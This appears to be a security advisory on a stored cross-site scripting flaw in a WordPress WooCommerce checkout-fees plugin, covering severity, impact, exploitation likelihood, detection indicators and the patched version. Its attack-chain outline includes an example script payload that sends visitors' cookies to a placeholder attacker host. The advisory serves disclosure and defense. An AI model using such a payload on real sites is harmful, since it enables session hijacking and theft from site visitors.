CVE-2025-57903: 
WordPress vulnerability analysis and mitigation

CVE-2025-57903 is a Stored Cross-Site Scripting (XSS) vulnerability in the WooCommerce Additional Fees On Checkout (Free) WordPress plugin by WPSuperiors Developer. It affects all versions up to and including 1.5.2, and was published on September 22, 2025. The vulnerability carries a CVSS v3.1 base score of 5.9 (Medium) (Patchstack, Feedly).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the stored variant. An attacker with Administrator or Developer-level privileges can inject malicious scripts into plugin-controlled fields that are subsequently rendered in the browser of site visitors without proper sanitization or escaping. Exploitation requires high privileges to inject the payload and user interaction (a victim visiting the affected page) to trigger execution (Patchstack).

Successful exploitation allows a privileged attacker to persistently inject malicious JavaScript into WooCommerce checkout pages, which executes in the browsers of site visitors. This can lead to session hijacking, credential theft, redirection to malicious sites, or delivery of malware to customers. The scope is changed (affecting users beyond the attacker's privilege boundary), with low confidentiality, integrity, and availability impacts per the CVSS assessment (Patchstack).

No public proof-of-concept exploit code or in-the-wild exploitation has been reported for CVE-2025-57903. The EPSS score is approximately 0.033%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires high-privilege access (Administrator or Developer role), which significantly limits the attack surface (Patchstack).

1. Privilege Acquisition: Obtain Administrator or Developer-level access to the target WordPress site (e.g., via credential theft, brute force, or a separate vulnerability).
2. Navigate to Plugin Settings: Access the WooCommerce Additional Fees On Checkout plugin configuration panel in the WordPress admin dashboard.
3. Inject Malicious Payload: Enter a crafted JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a plugin input field that is stored without proper sanitization.
4. Trigger Execution: Wait for a victim (e.g., a customer) to visit the WooCommerce checkout page where the stored payload is rendered, causing the script to execute in their browser.
5. Achieve Objective: Harvest session cookies, redirect victims, or deliver further malicious content depending on the injected payload (Patchstack).

• Logs: WordPress admin audit logs showing unexpected modifications to WooCommerce Additional Fees On Checkout plugin settings by administrator accounts, particularly from unfamiliar IP addresses.
• File System: Unexpected changes to plugin configuration stored in the WordPress database (wp_options table) containing script tags or encoded JavaScript.
• Network: Outbound requests from visitor browsers to unknown external domains originating from checkout page interactions; unusual redirects from the WooCommerce checkout page.
• Browser/Application: Presence of <script> tags or JavaScript event handlers (e.g., onerror, onload) within fee label or description fields rendered on the checkout page.

The vendor has released version 1.5.3 of the WooCommerce Additional Fees On Checkout (Free) plugin, which patches this vulnerability. All users running version 1.5.2 or earlier should update immediately via the WordPress plugin dashboard. Patchstack users can enable auto-update for vulnerable plugins as an additional safeguard. No configuration-based workaround is available; updating to 1.5.3 is the only recommended remediation (Patchstack).

The vulnerability was discovered and reported by security researcher Nabil Irawan on July 9, 2025, and published by Patchstack on September 22, 2025. Patchstack classifies this as low priority with unlikely exploitation impact. No significant broader media coverage or notable community discussion has been identified beyond the initial Patchstack advisory (Patchstack).